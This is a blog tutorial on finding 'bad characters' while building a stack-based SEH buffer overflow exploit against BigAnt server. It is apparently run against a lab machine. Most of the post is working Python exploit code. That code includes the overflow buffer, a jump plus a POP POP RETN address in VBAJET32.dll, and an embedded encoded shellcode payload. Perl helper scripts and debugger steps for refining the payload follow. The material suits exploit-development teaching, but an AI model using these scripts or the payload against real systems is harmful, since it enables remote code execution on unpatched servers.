Sunday, February 19, 2012

Search for "Bad Characters"

In my post about exploiting BigAnt server, when generating payload I'm entering 0x20 and 0x25 as bad character. How to search for a bad character in the application that will be exploited? Here's the way to do it. The application that will be used is still BigAnt server, but I think the method to find the bad character is the same in all aplication. This knowledge is essential because without entering the right bad character, our payload won't work properly as we wish.

Lets begin..  :D

- Use this fuzzer as the starting point.
Fuzzer:
#!/usr/bin/python
import socket
address="192.168.56.2"
port=6660
buffer="USV "
buffer+="\x90"*962
buffer+="\xeb\x06\x90\x90"
buffer+="\x6A\x19\x9A\x0F"
buffer+="\x90"*(2504-len(buffer))
buffer+="\r\n\r\n"
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((address,port))
sock.send(buffer)
sock.close()
print ("Done")

- That fuzzer will overwrite the SEH buffer with the address of the VBAJET32.dll that have a POP POP RETN command inside. Lets try to execute it. But don't forget to place a breakpoint on the address of the commands at 0F9A196A.

- Execute it then see what happen in the SEH Chain.

- It contains the VBAJET32 address. Then lets generate the a payload using the default bad character 0x00 0x0a 0x0d.

- Insert it to our fuzzer.
Fuzzer:
#!/usr/bin/python
import socket
address="192.168.56.2"
port=6660
buffer="USV "
buffer+="\x90"*962
buffer+="\xeb\x06\x90\x90"
buffer+="\x6A\x19\x9A\x0F"
buffer+="\x90"*16
buffer+=("\xb8\x24\xa6\x57\x2d\xda\xd0\xd9\x74\x24\xf4\x2b\xc9\x5e\xb1\x51"
"\x31\x46\x12\x03\x46\x12\x83\xca\x5a\xb5\xd8\xee\xc9\xd1\x6e\xe6"
"\xf7\xd9\x8e\x09\x67\xad\x1d\xd1\x4c\x3a\x98\x25\x06\x40\x26\x2d"
"\x19\x56\xa3\x82\x01\x23\xeb\x3c\x33\xd8\x5d\xb7\x07\x95\x5f\x29"
"\x56\x69\xc6\x19\x1d\xa9\x8d\x66\xdf\xe0\x63\x69\x1d\x1f\x8f\x52"
"\xf5\xc4\x58\xd1\x10\x8f\xc6\x3d\xda\x7b\x9e\xb6\xd0\x30\xd4\x97"
"\xf4\xc7\x01\x24\x29\x43\x5c\x46\x15\x4f\x3e\x55\x64\xb4\xa4\xd2"
"\xc4\x7a\xae\xa4\xc6\xf1\xc0\x38\x7a\x8e\x61\x48\xda\xf9\xef\x06"
"\xec\x15\xbf\x69\x26\x83\x13\xf3\xaf\x7f\xa6\x93\x58\xf3\xf4\x3c"
"\xf3\x0c\x28\xaa\x30\x1f\x35\x11\x97\x1f\x10\x3a\x9e\x05\xfb\x45"
"\x4d\xcd\x06\x10\xe4\xcc\xf9\x4a\x90\x09\x0c\x9f\xcc\xfd\xf0\x89"
"\x5c\x51\x5c\x66\x30\x16\x31\xcb\xe5\x67\x65\xad\x61\x89\xda\x57"
"\x21\x20\x03\x02\xad\x96\xde\x5c\xe9\x80\x21\x4a\x9f\x3e\x8f\x27"
"\x9f\xef\x47\x63\xf2\x3e\x71\x3c\xf2\xe9\xd2\x97\xf3\xc6\xbd\xf2"
"\x45\x61\x74\xab\xaa\xbb\xd7\x07\x01\x11\x27\x77\x3a\xf1\x30\x0e"
"\xfb\x7b\xe8\x0f\xd5\x29\xe9\x3f\xbc\xbb\x71\xd9\x29\x5f\x17\xac"
"\x4f\xf5\xb7\xf7\xa6\xc6\xb1\xe0\xd3\x92\x48\x0c\x12\xdb\xb8\x7a"
"\xab\x99\x13\x84\x16\x32\xff\xf5\xed\x72\x54\xae\xb9\xeb\xd8\x4e"
"\x0e\xfd\xe3\xdb\x35\xfd\xca\x78\xe1\x53\xa2\x2f\x5c\x3e\x45\x9e"
"\x0f\xeb\x14\xdf\x60\x7b\x3a\xc6\x84\xb2\x17\x07\x50\x20\x67\x08"
"\x6a\x4a\x47\x7d\xc2\x48\xeb\x45\x89\x4f\x3a\x17\xad\x60\xab\xe9"
"\x89\x63\x5f\x46\xd5\xb2\x5f\xb8")
buffer+="\x90"*(2504-len(buffer))
buffer+="\r\n\r\n"
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((address,port))
sock.send(buffer)
sock.close()
print ("Done")
- Place the breakpoint again then execute the fuzzer and see what happen in the SEH Chain.

- SEH pointed the wrong address, SEH supposed to point on the VBAJET32.dll address that we've placed. The problem is definitely because of the payload that we've generate. Usually this happen when a bad characters is exist on our payload. Lets search it.

- First step, we need to generate a dummy code contains all hex character start from 00 to FF. To do it we can use this perl script.
Script:
#!/usr/bin/perl
# generatecodes.pl
# Version 0.1

use Getopt::Long;

if ($ARGV[0]) {
    @knownbad = split ',', $ARGV[0];
    foreach $bad (@knownbad) {
        $bad = hex($bad);
    }
}

if (! $ARGV[1]) {
    $split = 15; # split at 15 characters if not told otherwise
} else {
    $split = $ARGV[1];
}

$count=0;
for ($a = 0; $a <= 255; $a++) {
    $match = 0;
    foreach $knownbad (@knownbad) {
        if ($knownbad eq $a) {$match = 1}
    }
    if (! $match) {
        if (! $count) {print chr(34); }
        print '\x' . sprintf("%02x", $a);
        $count++;
    }
   
    if ( (int($count/$split) eq $count/$split ) && ($count)) {print chr(34) . "\n"; $count = 0; }
}

if ( (int($count/$split) ne $count/$split ) && ($count)) {print chr(34) . "\n";}


sub help{
    print "This script generates a c style buffer of all characters from 0 to 255, except those specified in a comma seperated list provided as parameter one.  Used to generate a list of characters to enter into a exploit to test for bad characters. \n\n" .
    "Parameter one is optional and should contain comma separated hexadecimal bytes in the format 00,0a,0d and any characters provided will not be listed in the output.\n\n" .
    "Parameter two is also optional and specifies the interval at which new lines are interspersed in the output.  If not specified the default is a new line every 15 characters.\n\n";
    exit;
}
- This is the usage of the script.
# perl generatecodes.pl (badchar1),(badchar2),(badchar3),...(badcharn)
example
# perl generatecodes.pl 00,0a,0b,0c,0d

- Ok, generate it.
# perl generatecodes.pl 00,0a,0d

- Next, we must enter this code line by line. This will make us easier to find bad character. Also this will make the results more accurate although it waste a lot of time. But with regular training, this can be done less than 5 minutes.
- Ok, lets insert the first line to the fuzzer.
Spoiler:
#!/usr/bin/python
import socket
address="192.168.56.2"
port=6660
buffer="USV "
buffer+="\x90"*962
buffer+="\xeb\x06\x90\x90"
buffer+="\x6A\x19\x9A\x0F"
buffer+="\x90"*16
buffer+="\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11"
buffer+="\x90"*(2504-len(buffer))
buffer+="\r\n\r\n"
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((address,port))
sock.send(buffer)
sock.close()
print ("Done")
- Ok, place the breakpoint then execute the fuzzer. After that see what is the value inside the SEH Chain.

- Good, it contain the right value, VBAJET32. This means the first line doesn't contain a bad character.
- Insert the second line to the fuzzer.
Fuzzer:
#!/usr/bin/python
import socket
address="192.168.56.2"
port=6660
buffer="USV "
buffer+="\x90"*962
buffer+="\xeb\x06\x90\x90"
buffer+="\x6A\x19\x9A\x0F"
buffer+="\x90"*16
buffer+="\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11"
buffer+="\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
buffer+="\x90"*(2504-len(buffer))
buffer+="\r\n\r\n"
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((address,port))
sock.send(buffer)
sock.close()
print ("Done")
- Again, place the breakpoint, execute, then see the SEH chain.

- SEH contain the wrong value. This means that in the second line there is one or more bad character inside. To make the searching results more accurate, divide the second line into two.
"\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
will be
"\x12\x13\x14\x15\x16\x17\x18\x19" and "\x1a\x1b\x1c\x1d\x1e\x1f\x20"

- Insert the first part to the fuzzer.
Spoiler:
 #!/usr/bin/python
import socket
address="192.168.56.2"
port=6660
buffer="USV "
buffer+="\x90"*962
buffer+="\xeb\x06\x90\x90"
buffer+="\x6A\x19\x9A\x0F"
buffer+="\x90"*16
buffer+="\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11"
buffer+="\x12\x13\x14\x15\x16\x17\x18\x19"
buffer+="\x90"*(2504-len(buffer))
buffer+="\r\n\r\n"
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((address,port))
sock.send(buffer)
sock.close()
print ("Done")
- Breakpoint, Execute, then see the SEH Chain.

- Ok, the first part doesn't contain any bad character. Lets continue to the second part. To make the search more precise. Lets divide the second part into two parts too.
"\x1a\x1b\x1c\x1d\x1e\x1f\x20"
will be
"\x1a\x1b\x1c\x1d\x1e\x1f" and "\x20"

- The division can be whatever you like. No specific criteria to do that. But myself I like to divide the words and number.
- Ok, lets insert the first section of the second part to the fuzzer.
Fuzzer:
#!/usr/bin/python
import socket
address="192.168.56.2"
port=6660
buffer="USV "
buffer+="\x90"*962
buffer+="\xeb\x06\x90\x90"
buffer+="\x6A\x19\x9A\x0F"
buffer+="\x90"*16
buffer+="\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11"
buffer+="\x12\x13\x14\x15\x16\x17\x18\x19"
buffer+="\x1a\x1b\x1c\x1d\x1e\x1f"
buffer+="\x90"*(2504-len(buffer))
buffer+="\r\n\r\n"
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((address,port))
sock.send(buffer)
sock.close()
print ("Done")
- See what happen in the SEH when the fuzzer executed. (always, don't forget to place the breakpoint)

- It still contain the right value. This means the second section of the second parts is the bad character that is \x20.
- Lets generate the dummy code again with the addition of \x20 as a bad character.
Code:
# perl geratecodes.pl 00,0a,0d,20
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11"
"\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x21"
"\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e"
"\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d"
"\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c"
"\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b"
"\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a"
"\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99"
"\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8"
"\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7"
"\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6"
"\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5"
"\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4"
"\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3"
"\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
- Insert it to the fuzzer.
Fuzzer:
#!/usr/bin/python
import socket
address="192.168.56.2"
port=6660
buffer="USV "
buffer+="\x90"*962
buffer+="\xeb\x06\x90\x90"
buffer+="\x6A\x19\x9A\x0F"
buffer+="\x90"*16
buffer+=("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11"
"\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x21"
"\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e"
"\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d"
"\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c"
"\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b"
"\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a"
"\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99"
"\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8"
"\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7"
"\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6"
"\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5"
"\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4"
"\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3"
"\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
buffer+="\x90"*(2504-len(buffer))
buffer+="\r\n\r\n"
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((address,port))
sock.send(buffer)
sock.close()
print ("Done")
- Ok, execute it, then see the SEH Chain

- Good, looks like we've found the bad characters from this application. But, to make sure that everythings going right we will compare the data in the buffer memory and the dummies sent. This process will find the bad character hidden inside the buffer memory of the application.
- To do this we must compare the data inside the buffer memory of the application after it is attacked by the fuzzer and the dummy data we've generated and inserted to the fuzzer before.

- Ok, place the breakpoint again then execute the fuzzer. OllyDbg will break the process when the application trying to access VBAJET32.dll. Then press Shift+F9. OllyDbg will bring us to the POP POP RETN command.

- Press F7 three times, this will bring us to the JMP SHORT command.

- Press F7 once again, this will bring us the location of 16 bytes NOP before the dummy code.

- As you can see above. We can see the beginning of the dummy code, "0102".
- Next is dumping the content of the buffer where the dummy code start.
- Click on the 0102 then right click > Follow in Dump > Selection

- Block all character start from 01 to FF then right click > Binary > Binary Copy

- After that paste to the text editor like gedit, kwrite, geany, anjuta, etc. Save with the name you like.txt.
Hex:
01 02 03 04 05 06 07 08 09 0B 0C 0E 0F 10 11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F 21 22 23
24 57 28 29 2A 2B 2C 2D 2E 2F 30 31 32 33 34 35 36 37 38 39 3A 3B 3C 3D 3E 3F 40 41 42 43 44 45
46 47 48 49 4A 4B 4C 4D 4E 4F 50 51 52 53 54 55 56 57 58 59 5A 5B 5C 5D 5E 5F 60 61 62 63 64 65
66 67 68 69 6A 6B 6C 6D 6E 6F 70 71 72 73 74 75 76 77 78 79 7A 7B 7C 7D 7E 7F 80 81 82 83 84 85
86 87 88 89 8A 8B 8C 8D 8E 8F 90 91 92 93 94 95 96 97 98 99 9A 9B 9C 9D 9E 9F A0 A1 A2 A3 A4 A5
A6 A7 A8 A9 AA AB AC AD AE AF B0 B1 B2 B3 B4 B5 B6 B7 B8 B9 BA BB BC BD BE BF C0 C1 C2 C3 C4 C5
C6 C7 C8 C9 CA CB CC CD CE CF D0 D1 D2 D3 D4 D5 D6 D7 D8 D9 DA DB DC DD DE DF E0 E1 E2 E3 E4 E5
E6 E7 E8 E9 EA EB EC ED EE EF F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF
- Then generate the dummy code again to a file
# perl generatecodes.pl 00,0a,0d,20 > dummy.txt

- Save this perl script to compare the value inside that two files.
Compare:
#!/usr/bin/perl
# comparememory.pl
# Version 0.1

use Getopt::Long;

#GetOptions('help|?|' => \$help);

# if ( ($help) || (! $ARGV[1]) ) {&help; }


open(INPUT, "<$ARGV[0]") || die("Could not open file $ARGV[0].\n\n");
@array = <INPUT>;
foreach $line (@array) {
    $line =~ tr/A-F/a-f/;
    chomp($line);
    @temp = split ' ', $line;
    push(@memorybytes, @temp)
}
close(INPUT);

open(INPUT, "<$ARGV[1]") || die("Could not open file $ARGV[1].\n\n");
@array = <INPUT>;

foreach $line (@array) {   
    $line =~ tr/\"\\.\; //d;
    $line =~ s/^x//;
    $line =~ tr/A-F/a-f/;
    chomp($line);   
    @temp = split 'x', $line;
    push(@shellcodebytes, @temp)
}

close(INPUT);
$counter = 0;
foreach $memorybyte (@memorybytes) {
    if ($memorybyte ne $shellcodebytes[$counter]) {
        print "Memory: $memorybyte Shellcode: $shellcodebytes[$counter] at position $counter\n";
    }
    $counter++;
}

sub help{
    print "This script compares a file containing a ASCII Text binary copy of a memory dump from OllyDbg as parameter one and compares it to a file containing shellcode in c style format as parameter two.\n\n" .
    "All diferences between the two files will be printed to the console.  No output means no differences.  Used to find bad characters when writing exploits.\n\n" .
    "Generate the ASCII Text binary output from OllyDbg by right clicking in the memory dump pane of the CPU Window, select Binary->Binary Copy, and paste the contents into a file.  The file should contain a sequence of hex characters separated by spaces.\n\n" .
    "The Shellcode can be entered in c style format, with characters represented like so \\x55.\n\n";
    exit;
}
- Ok, execute it.
# perl comparememory.pl binary.txt dummy.txt

- The value of \x25 is substituted with \x57. Lets see what happen in the buffer at that point.

- Value 25, 26 and 27 is missing. This means one of them is a bad character.
- To know what is the exact bad character we can exclude them one by one, generate the dummy code again using the data excluded as a bad character, sent to the application then compare again the dummy data sent and the data on the buffer memory.
- If there's no difference between them after comparation, that means the excluded character is the bad character.

The bad character is 25, you can try it yourself if you want..  :)
rest of the exploitation process here.

"the quieter you become, the more you are able to hear.."

3 comments:

Anonymous said...

just a copy of Grey Corner

dragon_master said...

copy of Grey Corner ??

Anonymous said...

yudhi, meybe that he mean http://www.thegreycorner.com/2010/01/seh-stack-based-windows-buffer-overflow.html

Post a Comment